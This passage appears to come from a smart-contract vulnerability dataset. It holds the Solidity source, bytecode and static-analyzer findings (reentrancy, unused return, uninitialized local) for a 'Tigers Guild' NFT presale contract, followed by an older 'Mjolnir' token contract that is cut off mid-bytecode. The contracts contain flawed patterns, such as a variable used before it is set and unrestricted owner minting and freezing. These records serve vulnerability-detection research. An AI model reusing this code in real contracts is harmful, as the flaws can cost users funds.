{ bytes memory data = bytes(_uri1); require(account != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); // setApprovalForAll(operator, true); _beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][account] = 1; emit TransferSingle(msg.sender, address(0), msg.sender, id, 1); emit URI(_uri1, id); _doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data); // setApprovalForAll(operator, false); } string public name = "Tigers Guild"; string public symbol = "TGD"; address public CrowdAdress = address(this); uint256 public _supply1 = 1; uint256 public Price = 10**17; // Цена токена в wei uint256 public PreSaleSupply = 12000; // количество токенов для сейла uint256 public _id = 1; // стартовый ID string internal _uri1 = "ipfs://QmWFFLe8LvoQ7mBxbgX8gUPj8azDcocN3jtxDCVPbidQu3"; //ссылка на самый лучший рендер fallback() external payable { uint256 _supply = msg.value / Price; // считаем сколько токенов отдать require(PreSaleSupply > _supply );//проверяем достаточно ли токенов для пресейла осталось for (uint ii = 0; ii < _supply; ii++) { _Premint( msg.sender, _id, _supply1, _uri1); PreSaleSupply = PreSaleSupply-1; _id++; } payable(owner).transfer(msg.value); } }
0x60806040526004361061010c5760003560e01c806395d89b4111610095578063a6f9dae111610064578063a6f9dae1146104f2578063dbfd71c11461051b578063e985e9c514610546578063f242432a14610583578063f6870bd8146105ac5761010d565b806395d89b41146104485780639dfde20114610473578063a0bb7acc1461049e578063a22cb465146104c95761010d565b80630e89341c116100dc5780630e89341c1461034f5780632eb2c2d61461038c57806340921ed1146103b55780634e1273f4146103e05780638da5cb5b1461041d5761010d565b8062fdd58e1461027f57806301ffc9a7146102bc57806305180237146102f957806306fdde03146103245761010d565b5b60006009543461011d919061271b565b905080600a541161012d57600080fd5b60005b81811015610212576101d233600b54600854600c805461014f90612848565b80601f016020809104026020016040519081016040528092919081815260200182805461017b90612848565b80156101c85780601f1061019d576101008083540402835291602001916101c8565b820191906000526020600020905b8154815290600101906020018083116101ab57829003601f168201915b50505050506105e9565b6001600a546101e1919061274c565b600a81905550600b60008154809291906101fa906128ab565b9190505550808061020a906128ab565b915050610130565b50600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f1935050505015801561027b573d6000803e3d6000fd5b5050005b34801561028b57600080fd5b506102a660048036038101906102a19190611eb6565b6107ad565b6040516102b39190612539565b60405180910390f35b3480156102c857600080fd5b506102e360048036038101906102de9190611f6e565b610877565b6040516102f091906123bc565b60405180910390f35b34801561030557600080fd5b5061030e610959565b60405161031b9190612539565b60405180910390f35b34801561033057600080fd5b5061033961095f565b60405161034691906123d7565b60405180910390f35b34801561035b57600080fd5b5061037660048036038101906103719190611fc8565b6109ed565b60405161038391906123d7565b60405180910390f35b34801561039857600080fd5b506103b360048036038101906103ae9190611d10565b610a81565b005b3480156103c157600080fd5b506103ca610b22565b6040516103d79190612286565b60405180910390f35b3480156103ec57600080fd5b5061040760048036038101906104029190611ef6565b610b48565b6040516104149190612363565b60405180910390f35b34801561042957600080fd5b50610432610c61565b60405161043f9190612286565b60405180910390f35b34801561045457600080fd5b5061045d610c87565b60405161046a91906123d7565b60405180910390f35b34801561047f57600080fd5b50610488610d15565b6040516104959190612539565b60405180910390f35b3480156104aa57600080fd5b506104b3610d1b565b6040516104c09190612539565b60405180910390f35b3480156104d557600080fd5b506104f060048036038101906104eb9190611e76565b610d21565b005b3480156104fe57600080fd5b5061051960048036038101906105149190611ca3565b610e2c565b005b34801561052757600080fd5b50610530610eca565b60405161053d9190612539565b60405180910390f35b34801561055257600080fd5b5061056d60048036038101906105689190611cd0565b610ed0565b60405161057a91906123bc565b60405180910390f35b34801561058f57600080fd5b506105aa60048036038101906105a59190611ddf565b610f64565b005b3480156105b857600080fd5b506105d360048036038101906105ce9190611ca3565b611005565b6040516105e09190612539565b60405180910390f35b6000819050600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561065e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065590612519565b60405180910390fd5b600061066861101d565b90506106898160008861067a89611025565b61068389611025565b8761109f565b600180600087815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62886001604051610756929190612554565b60405180910390a4847f6bb7ff708619ba0610cba295a58592e0451dee2622938c8755667688daf3529b8460405161078e91906123d7565b60405180910390a26107a5816000888888876110a7565b505050505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561081e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081590612439565b60405180910390fd5b6001600083815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60007fd9b67a26000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061094257507f0e89341c000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b8061095257506109518261128e565b5b9050919050565b600b5481565b6005805461096c90612848565b80601f016020809104026020016040519081016040528092919081815260200182805461099890612848565b80156109e55780601f106109ba576101008083540402835291602001916109e5565b820191906000526020600020905b8154815290600101906020018083116109c857829003601f168201915b505050505081565b6060600380546109fc90612848565b80601f0160208091040260200160405190810160405280929190818152602001828054610a2890612848565b8015610a755780601f10610a4a57610100808354040283529160200191610a75565b820191906000526020600020905b815481529060010190602001808311610a5857829003601f168201915b50505050509050919050565b610a8961101d565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480610acf5750610ace85610ac961101d565b610ed0565b5b610b0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0590612499565b60405180910390fd5b610b1b85858585856112f8565b5050505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60608151835114610b8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b85906124d9565b60405180910390fd5b6000835167ffffffffffffffff811115610bab57610baa6129b0565b5b604051908082528060200260200182016040528015610bd95781602001602082028036833780820191505090505b50905060005b8451811015610c5657610c26858281518110610bfe57610bfd612981565b5b6020026020010151858381518110610c1957610c18612981565b5b60200260200101516107ad565b828281518110610c3957610c38612981565b5b60200260200101818152505080610c4f906128ab565b9050610bdf565b508091505092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60068054610c9490612848565b80601f0160208091040260200160405190810160405280929190818152602001828054610cc090612848565b8015610d0d5780601f10610ce257610100808354040283529160200191610d0d565b820191906000526020600020905b815481529060010190602001808311610cf057829003601f168201915b505050505081565b60095481565b600a5481565b8060026000610d2e61101d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16610ddb61101d565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051610e2091906123bc565b60405180910390a35050565b3373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e8657600080fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60085481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b610f6c61101d565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480610fb25750610fb185610fac61101d565b610ed0565b5b610ff1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe890612459565b60405180910390fd5b610ffe858585858561160f565b5050505050565b60006020528060005260406000206000915090505481565b600033905090565b60606000600167ffffffffffffffff811115611044576110436129b0565b5b6040519080825280602002602001820160405280156110725781602001602082028036833780820191505090505b509050828160008151811061108a57611089612981565b5b60200260200101818152505080915050919050565b505050505050565b6110c68473ffffffffffffffffffffffffffffffffffffffff16611894565b15611286578373ffffffffffffffffffffffffffffffffffffffff1663f23a6e6187878686866040518663ffffffff1660e01b815260040161110c959493929190612309565b602060405180830381600087803b15801561112657600080fd5b505af192505050801561115757506040513d601f19601f820116820180604052508101906111549190611f9b565b60015b6111fd576111636129df565b806308c379a014156111c05750611178612d4e565b8061118357506111c2565b806040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b791906123d7565b60405180910390fd5b505b6040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f4906123f9565b60405180910390fd5b63f23a6e6160e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614611284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127b90612419565b60405180910390fd5b505b505050505050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b815183511461133c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611333906124f9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156113ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a390612479565b60405180910390fd5b60006113b661101d565b90506113c681878787878761109f565b60005b845181101561157a5760008582815181106113e7576113e6612981565b5b60200260200101519050600085838151811061140657611405612981565b5b6020026020010151905060006001600084815260200190815260200160002060008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156114a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149f906124b9565b60405180910390fd5b8181036001600085815260200190815260200160002060008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816001600085815260200190815260200160002060008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461155f91906126c5565b9250508190555050505080611573906128ab565b90506113c9565b508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb87876040516115f1929190612385565b60405180910390a46116078187878787876118a7565b505050505050565b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561167f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167690612479565b60405180910390fd5b600061168961101d565b90506116a981878761169a88611025565b6116a388611025565b8761109f565b60006001600086815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083811015611741576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611738906124b9565b60405180910390fd5b8381036001600087815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550836001600087815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546117f891906126c5565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62888860405161187592919061257d565b60405180910390a461188b8288888888886110a7565b50505050505050565b600080823b905060008111915050919050565b6118c68473ffffffffffffffffffffffffffffffffffffffff16611894565b15611a86578373ffffffffffffffffffffffffffffffffffffffff1663bc197c8187878686866040518663ffffffff1660e01b815260040161190c9594939291906122a1565b602060405180830381600087803b15801561192657600080fd5b505af192505050801561195757506040513d601f19601f820116820180604052508101906119549190611f9b565b60015b6119fd576119636129df565b806308c379a014156119c05750611978612d4e565b8061198357506119c2565b806040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b791906123d7565b60405180910390fd5b505b6040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119f4906123f9565b60405180910390fd5b63bc197c8160e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614611a84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7b90612419565b60405180910390fd5b505b505050505050565b6000611aa1611a9c846125cb565b6125a6565b90508083825260208201905082856020860282011115611ac457611ac3612a06565b5b60005b85811015611af45781611ada8882611bb0565b845260208401935060208301925050600181019050611ac7565b5050509392505050565b6000611b11611b0c846125f7565b6125a6565b90508083825260208201905082856020860282011115611b3457611b33612a06565b5b60005b85811015611b645781611b4a8882611c8e565b845260208401935060208301925050600181019050611b37565b5050509392505050565b6000611b81611b7c84612623565b6125a6565b905082815260208101848484011115611b9d57611b9c612a0b565b5b611ba8848285612806565b509392505050565b600081359050611bbf81612de4565b92915050565b600082601f830112611bda57611bd9612a01565b5b8135611bea848260208601611a8e565b91505092915050565b600082601f830112611c0857611c07612a01565b5b8135611c18848260208601611afe565b91505092915050565b600081359050611c3081612dfb565b92915050565b600081359050611c4581612e12565b92915050565b600081519050611c5a81612e12565b92915050565b600082601f830112611c7557611c74612a01565b5b8135611c85848260208601611b6e565b91505092915050565b600081359050611c9d81612e29565b92915050565b600060208284031215611cb957611cb8612a15565b5b6000611cc784828501611bb0565b91505092915050565b60008060408385031215611ce757611ce6612a15565b5b6000611cf585828601611bb0565b9250506020611d0685828601611bb0565b9150509250929050565b600080600080600060a08688031215611d2c57611d2b612a15565b5b6000611d3a88828901611bb0565b9550506020611d4b88828901611bb0565b945050604086013567ffffffffffffffff811115611d6c57611d6b612a10565b5b611d7888828901611bf3565b935050606086013567ffffffffffffffff811115611d9957611d98612a10565b5b611da588828901611bf3565b925050608086013567ffffffffffffffff811115611dc657611dc5612a10565b5b611dd288828901611c60565b9150509295509295909350565b600080600080600060a08688031215611dfb57611dfa612a15565b5b6000611e0988828901611bb0565b9550506020611e1a88828901611bb0565b9450506040611e2b88828901611c8e565b9350506060611e3c88828901611c8e565b925050608086013567ffffffffffffffff811115611e5d57611e5c612a10565b5b611e6988828901611c60565b9150509295509295909350565b60008060408385031215611e8d57611e8c612a15565b5b6000611e9b85828601611bb0565b9250506020611eac85828601611c21565b9150509250929050565b60008060408385031215611ecd57611ecc612a15565b5b6000611edb85828601611bb0565b9250506020611eec85828601611c8e565b9150509250929050565b60008060408385031215611f0d57611f0c612a15565b5b600083013567ffffffffffffffff811115611f2b57611f2a612a10565b5b611f3785828601611bc5565b925050602083013567ffffffffffffffff811115611f5857611f57612a10565b5b611f6485828601611bf3565b9150509250929050565b600060208284031215611f8457611f83612a15565b5b6000611f9284828501611c36565b91505092915050565b600060208284031215611fb157611fb0612a15565b5b6000611fbf84828501611c4b565b91505092915050565b600060208284031215611fde57611fdd612a15565b5b6000611fec84828501611c8e565b91505092915050565b60006120018383612268565b60208301905092915050565b61201681612780565b82525050565b600061202782612664565b6120318185612692565b935061203c83612654565b8060005b8381101561206d5781516120548882611ff5565b975061205f83612685565b925050600181019050612040565b5085935050505092915050565b61208381612792565b82525050565b60006120948261266f565b61209e81856126a3565b93506120ae818560208601612815565b6120b781612a1a565b840191505092915050565b6120cb816127f4565b82525050565b60006120dc8261267a565b6120e681856126b4565b93506120f6818560208601612815565b6120ff81612a1a565b840191505092915050565b60006121176034836126b4565b915061212282612a38565b604082019050919050565b600061213a6028836126b4565b915061214582612a87565b604082019050919050565b600061215d602b836126b4565b915061216882612ad6565b604082019050919050565b60006121806029836126b4565b915061218b82612b25565b604082019050919050565b60006121a36025836126b4565b91506121ae82612b74565b604082019050919050565b60006121c66032836126b4565b91506121d182612bc3565b604082019050919050565b60006121e9602a836126b4565b91506121f482612c12565b604082019050919050565b600061220c6029836126b4565b915061221782612c61565b604082019050919050565b600061222f6028836126b4565b915061223a82612cb0565b604082019050919050565b60006122526021836126b4565b915061225d82612cff565b604082019050919050565b612271816127ea565b82525050565b612280816127ea565b82525050565b600060208201905061229b600083018461200d565b92915050565b600060a0820190506122b6600083018861200d565b6122c3602083018761200d565b81810360408301526122d5818661201c565b905081810360608301526122e9818561201c565b905081810360808301526122fd8184612089565b90509695505050505050565b600060a08201905061231e600083018861200d565b61232b602083018761200d565b6123386040830186612277565b6123456060830185612277565b81810360808301526123578184612089565b90509695505050505050565b6000602082019050818103600083015261237d818461201c565b905092915050565b6000604082019050818103600083015261239f818561201c565b905081810360208301526123b3818461201c565b90509392505050565b60006020820190506123d1600083018461207a565b92915050565b600060208201905081810360008301526123f181846120d1565b905092915050565b600060208201905081810360008301526124128161210a565b9050919050565b600060208201905081810360008301526124328161212d565b9050919050565b6000602082019050818103600083015261245281612150565b9050919050565b6000602082019050818103600083015261247281612173565b9050919050565b6000602082019050818103600083015261249281612196565b9050919050565b600060208201905081810360008301526124b2816121b9565b9050919050565b600060208201905081810360008301526124d2816121dc565b9050919050565b600060208201905081810360008301526124f2816121ff565b9050919050565b6000602082019050818103600083015261251281612222565b9050919050565b6000602082019050818103600083015261253281612245565b9050919050565b600060208201905061254e6000830184612277565b92915050565b60006040820190506125696000830185612277565b61257660208301846120c2565b9392505050565b60006040820190506125926000830185612277565b61259f6020830184612277565b9392505050565b60006125b06125c1565b90506125bc828261287a565b919050565b6000604051905090565b600067ffffffffffffffff8211156125e6576125e56129b0565b5b602082029050602081019050919050565b600067ffffffffffffffff821115612612576126116129b0565b5b602082029050602081019050919050565b600067ffffffffffffffff82111561263e5761263d6129b0565b5b61264782612a1a565b9050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b60006126d0826127ea565b91506126db836127ea565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156127105761270f6128f4565b5b828201905092915050565b6000612726826127ea565b9150612731836127ea565b92508261274157612740612923565b5b828204905092915050565b6000612757826127ea565b9150612762836127ea565b925082821015612775576127746128f4565b5b828203905092915050565b600061278b826127ca565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006127ff826127ea565b9050919050565b82818337600083830152505050565b60005b83811015612833578082015181840152602081019050612818565b83811115612842576000848401525b50505050565b6000600282049050600182168061286057607f821691505b6020821081141561287457612873612952565b5b50919050565b61288382612a1a565b810181811067ffffffffffffffff821117156128a2576128a16129b0565b5b80604052505050565b60006128b6826127ea565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156128e9576128e86128f4565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600060033d11156129fe5760046000803e6129fb600051612a2b565b90505b90565b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160e01c9050919050565b7f455243313135353a207472616e7366657220746f206e6f6e204552433131353560008201527f526563656976657220696d706c656d656e746572000000000000000000000000602082015250565b7f455243313135353a204552433131353552656365697665722072656a6563746560008201527f6420746f6b656e73000000000000000000000000000000000000000000000000602082015250565b7f455243313135353a2062616c616e636520717565727920666f7220746865207a60008201527f65726f2061646472657373000000000000000000000000000000000000000000602082015250565b7f455243313135353a2063616c6c6572206973206e6f74206f776e6572206e6f7260008201527f20617070726f7665640000000000000000000000000000000000000000000000602082015250565b7f455243313135353a207472616e7366657220746f20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f455243313135353a207472616e736665722063616c6c6572206973206e6f742060008201527f6f776e6572206e6f7220617070726f7665640000000000000000000000000000602082015250565b7f455243313135353a20696e73756666696369656e742062616c616e636520666f60008201527f72207472616e7366657200000000000000000000000000000000000000000000602082015250565b7f455243313135353a206163636f756e747320616e6420696473206c656e67746860008201527f206d69736d617463680000000000000000000000000000000000000000000000602082015250565b7f455243313135353a2069647320616e6420616d6f756e7473206c656e6774682060008201527f6d69736d61746368000000000000000000000000000000000000000000000000602082015250565b7f455243313135353a206d696e7420746f20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b600060443d1015612d5e57612de1565b612d666125c1565b60043d036004823e80513d602482011167ffffffffffffffff82111715612d8e575050612de1565b808201805167ffffffffffffffff811115612dac5750505050612de1565b80602083010160043d038501811115612dc9575050505050612de1565b612dd88260200185018661287a565b82955050505050505b90565b612ded81612780565b8114612df857600080fd5b50565b612e0481612792565b8114612e0f57600080fd5b50565b612e1b8161279e565b8114612e2657600080fd5b50565b612e32816127ea565b8114612e3d57600080fd5b5056fea264697066735822122089917a88087e3a26eec2ce990e816084ffb7580675d9ab87da68adfc4489a4ac64736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
482
0x688dc3f750ae8ea87372ed31b6f3141c86a6e01f
pragma solidity ^0.4.24; /*-------------------------------------------------------------------------*/ // Mjolnir is the Official Token for Mjolnir Guard Platform // Https://www.mjolnirguard.co // All the git source are available on Mjolnir Guard Github /*-------------------------------------------------------------------------*/ interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } /*-------------------------------------------------------------------------*/ contract owned { address public owner; function owned() { owner = msg.sender; } modifier onlyOwner { if (msg.sender != owner) throw; _; } function transferOwnership(address newOwner) onlyOwner { if (newOwner == 0x0) throw; owner = newOwner; } } /*-------------------------------------------------------------------------*/ /** * Overflow aware uint math functions. */ contract SafeMath { //internals function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function assert(bool assertion) internal { if (!assertion) throw; } } /*-------------------------------------------------------------------------*/ contract Mjolnir is owned, SafeMath { string public MjolnirWebsite = "https://mjolnirguard.co"; address public MjolnirAddress = this; address public creator = msg.sender; string public name = "Mjolnir"; string public symbol = "MJR"; uint8 public decimals = 18; uint256 public totalSupply = 9859716997000000000000000000; uint256 public buyPrice = 3500000; uint256 public sellPrice = 3500000; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; mapping (address => bool) public frozenAccount; event Transfer(address indexed from, address indexed to, uint256 value); event FundTransfer(address backer, uint amount, bool isContribution); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); event FrozenFunds(address target, bool frozen); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function Mjolnir() public { balanceOf[msg.sender] = totalSupply; creator = msg.sender; } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value >= balanceOf[_to]); // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /// @notice Buy tokens from contract by sending ether function () payable internal { uint amount = msg.value * buyPrice ; uint amountRaised; uint bonus = 0; bonus = getBonus(amount); amount = amount + bonus; //amount = now ; require(balanceOf[creator] >= amount); require(msg.value > 0); amountRaised = safeAdd(amountRaised, msg.value); balanceOf[msg.sender] = safeAdd(balanceOf[msg.sender], amount); balanceOf[creator] = safeSub(balanceOf[creator], amount); Transfer(creator, msg.sender, amount); creator.transfer(amountRaised); } /// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount); } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } /// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth /// @param newSellPrice Price the users can sell to the contract /// @param newBuyPrice Price users can buy from the contract function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender&#39;s allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } function getBonus(uint _amount) constant private returns (uint256) { if(now >= 1524873600 && now <= 1527551999) { return _amount * 100 / 100; } if(now >= 1527552000 && now <= 1530316799) { return _amount * 100 / 100; } if(now >= 1530316800 && now <= 1532995199) { return _amount * 100 / 100; } if(now >= 1532995200 && now <= 1535759999) { return _amount * 100 / 100; } if(now >= 1535760000 && now <= 1538438399) { return _amount * 100 / 100; } return 0; } /// @notice Sell `amount` tokens to contract /// @param amount amount of tokens to be sold function sell(uint256 amount) public { require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It&#39;s important to do this last to avoid recursion attacks } } /*-------------------------------------------------------------------------*/
0x6080604052600436106101325763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166302d05d3f811461026157806305fefda71461029257806306fdde03146102af578063095ea7b31461033957806318160ddd14610371578063313ce5671461039857806342966c68146103c35780634b750334146103db57806370a08231146103f057806379c650681461041157806379cc6790146104355780637f7624d0146104595780638620410b1461046e5780638da5cb5b1461048357806395d89b4114610498578063a9059cbb146104ad578063b414d4b6146104d1578063bdd3abd9146104f2578063cae9ca5114610507578063dd62ed3e14610570578063e4849b3214610597578063e724529c146105af578063f2fde38b146105d5575b6008543402600080610143836105f6565b600354600160a060020a03166000908152600a60205260409020549381019390915083111561017157600080fd5b6000341161017e57600080fd5b61018882346106c8565b336000908152600a60205260409020549092506101a590846106c8565b336000908152600a602052604080822092909255600354600160a060020a0316815220546101d390846106ec565b60038054600160a060020a039081166000908152600a60209081526040918290209490945591548251878152925133949190921692600080516020610e0f833981519152929081900390910190a3600354604051600160a060020a039091169083156108fc029084906000818181858888f1935050505015801561025b573d6000803e3d6000fd5b50505050005b34801561026d57600080fd5b50610276610700565b60408051600160a060020a039092168252519081900360200190f35b34801561029e57600080fd5b506102ad60043560243561070f565b005b3480156102bb57600080fd5b506102c4610731565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102fe5781810151838201526020016102e6565b50505050905090810190601f16801561032b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561034557600080fd5b5061035d600160a060020a03600435166024356107bf565b604080519115158252519081900360200190f35b34801561037d57600080fd5b506103866107ec565b60408051918252519081900360200190f35b3480156103a457600080fd5b506103ad6107f2565b6040805160ff9092168252519081900360200190f35b3480156103cf57600080fd5b5061035d6004356107fb565b3480156103e757600080fd5b50610386610873565b3480156103fc57600080fd5b5061038660